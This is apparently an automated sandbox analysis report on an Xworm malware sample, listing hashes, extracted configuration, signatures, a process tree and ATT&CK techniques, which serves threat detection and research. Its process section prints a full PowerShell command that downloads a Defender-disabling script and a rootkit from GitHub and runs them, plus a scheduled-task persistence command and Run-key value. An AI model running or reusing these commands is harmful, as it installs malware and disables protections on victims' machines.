Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system -
submitted
08/03/2025, 04:23
Behavioral task
behavioral1
Sample
98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
Resource
win10v2004-20250217-en
General
-
Target
98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe
-
Size
55KB
-
MD5
5a56065a3cb76c24738719ff09686ea6
-
SHA1
269254a2a77e708480d05b355348a6756cf3130e
-
SHA256
98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67
-
SHA512
e3413dc25bd29e8e0553db27528dc2c3f3ac67bdfcd3c93e608ed8b92a5b1ddd3e16dcb0517b0becc2ed95a853b7e12dc15e92d2e0c800b3c2d581c73c4fe8ad
-
SSDEEP
768:vIU44Oj5X88UOzTx4tfLFFO7mWbIwhTzkKL/t/X6snGRohJOcCouejK:vHCZNOpFO79bIw9IK5/rbO+uh
Malware Config
Extracted
https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat
Extracted
xworm
-
Install_directory
%port%
-
pastebin_url
https://pastebin.com/raw/GMv8QPCE
Signatures
-
Detect Xworm Payload 3 IoCs
resource yara_rule behavioral1/memory/2416-1-0x0000000000970000-0x0000000000984000-memory.dmp family_xworm behavioral1/files/0x0008000000004e74-13.dat family_xworm behavioral1/memory/2972-15-0x0000000001380000-0x0000000001394000-memory.dmp family_xworm -
Xworm family
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 3048 powershell.exe 6 3048 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3048 powershell.exe -
Executes dropped EXE 3 IoCs
pid Process 2972 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe 620 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe 3012 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67 = "C:\\Users\\Admin\\AppData\\Roaming\\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe" 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 61 IoCs
flow ioc 8 pastebin.com 26 raw.githubusercontent.com 9 pastebin.com 25 raw.githubusercontent.com 33 raw.githubusercontent.com 55 raw.githubusercontent.com 75 raw.githubusercontent.com 23 raw.githubusercontent.com 27 raw.githubusercontent.com 37 raw.githubusercontent.com 40 raw.githubusercontent.com 45 raw.githubusercontent.com 59 raw.githubusercontent.com 73 raw.githubusercontent.com 74 raw.githubusercontent.com 28 raw.githubusercontent.com 50 raw.githubusercontent.com 19 raw.githubusercontent.com 30 raw.githubusercontent.com 71 raw.githubusercontent.com 77 raw.githubusercontent.com 17 raw.githubusercontent.com 21 raw.githubusercontent.com 29 raw.githubusercontent.com 31 raw.githubusercontent.com 48 raw.githubusercontent.com 66 raw.githubusercontent.com 46 raw.githubusercontent.com 49 raw.githubusercontent.com 60 raw.githubusercontent.com 20 raw.githubusercontent.com 41 raw.githubusercontent.com 62 raw.githubusercontent.com 12 raw.githubusercontent.com 16 raw.githubusercontent.com 18 raw.githubusercontent.com 51 raw.githubusercontent.com 32 raw.githubusercontent.com 42 raw.githubusercontent.com 61 raw.githubusercontent.com 68 raw.githubusercontent.com 43 raw.githubusercontent.com 53 raw.githubusercontent.com 56 raw.githubusercontent.com 63 raw.githubusercontent.com 65 raw.githubusercontent.com 67 raw.githubusercontent.com 76 raw.githubusercontent.com 22 raw.githubusercontent.com 34 raw.githubusercontent.com 70 raw.githubusercontent.com 38 raw.githubusercontent.com 44 raw.githubusercontent.com 58 raw.githubusercontent.com 64 raw.githubusercontent.com 35 raw.githubusercontent.com 39 raw.githubusercontent.com 54 raw.githubusercontent.com 13 raw.githubusercontent.com 52 raw.githubusercontent.com 72 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2952 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 3048 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 2416 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe Token: SeDebugPrivilege 3048 powershell.exe Token: SeDebugPrivilege 2972 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe Token: SeDebugPrivilege 620 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe Token: SeDebugPrivilege 3012 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2416 wrote to memory of 3048 2416 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe 30 PID 2416 wrote to memory of 3048 2416 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe 30 PID 2416 wrote to memory of 3048 2416 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe 30 PID 2416 wrote to memory of 2952 2416 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe 32 PID 2416 wrote to memory of 2952 2416 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe 32 PID 2416 wrote to memory of 2952 2416 98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe 32 PID 2732 wrote to memory of 2972 2732 taskeng.exe 36 PID 2732 wrote to memory of 2972 2732 taskeng.exe 36 PID 2732 wrote to memory of 2972 2732 taskeng.exe 36 PID 2732 wrote to memory of 620 2732 taskeng.exe 37 PID 2732 wrote to memory of 620 2732 taskeng.exe 37 PID 2732 wrote to memory of 620 2732 taskeng.exe 37 PID 2732 wrote to memory of 3012 2732 taskeng.exe 38 PID 2732 wrote to memory of 3012 2732 taskeng.exe 38 PID 2732 wrote to memory of 3012 2732 taskeng.exe 38 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe"C:\Users\Admin\AppData\Local\Temp\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe"1⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2416 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3048
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67" /tr "C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe"2⤵
- Scheduled Task/Job: Scheduled Task
PID:2952
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {802A4104-C117-4B2E-9B51-31B5467D3CAD} S-1-5-21-1163522206-1469769407-485553996-1000:PJCSDMRP\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:2732 -
C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exeC:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2972
-
-
C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exeC:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:620
-
-
C:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exeC:\Users\Admin\AppData\Roaming\98336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3012
-
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
71KB
MD583142242e97b8953c386f988aa694e4a
SHA1833ed12fc15b356136dcdd27c61a50f59c5c7d50
SHA256d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755
SHA512bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10
-
Filesize
183KB
MD5109cab5505f5e065b63d01361467a83b
SHA14ed78955b9272a9ed689b51bf2bf4a86a25e53fc
SHA256ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673
SHA512753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc
-
Filesize
55KB
MD55a56065a3cb76c24738719ff09686ea6
SHA1269254a2a77e708480d05b355348a6756cf3130e
SHA25698336c4a295bdf723f9972a7de8b439fdfc2b067fce7e219b48d11e9b803ca67
SHA512e3413dc25bd29e8e0553db27528dc2c3f3ac67bdfcd3c93e608ed8b92a5b1ddd3e16dcb0517b0becc2ed95a853b7e12dc15e92d2e0c800b3c2d581c73c4fe8ad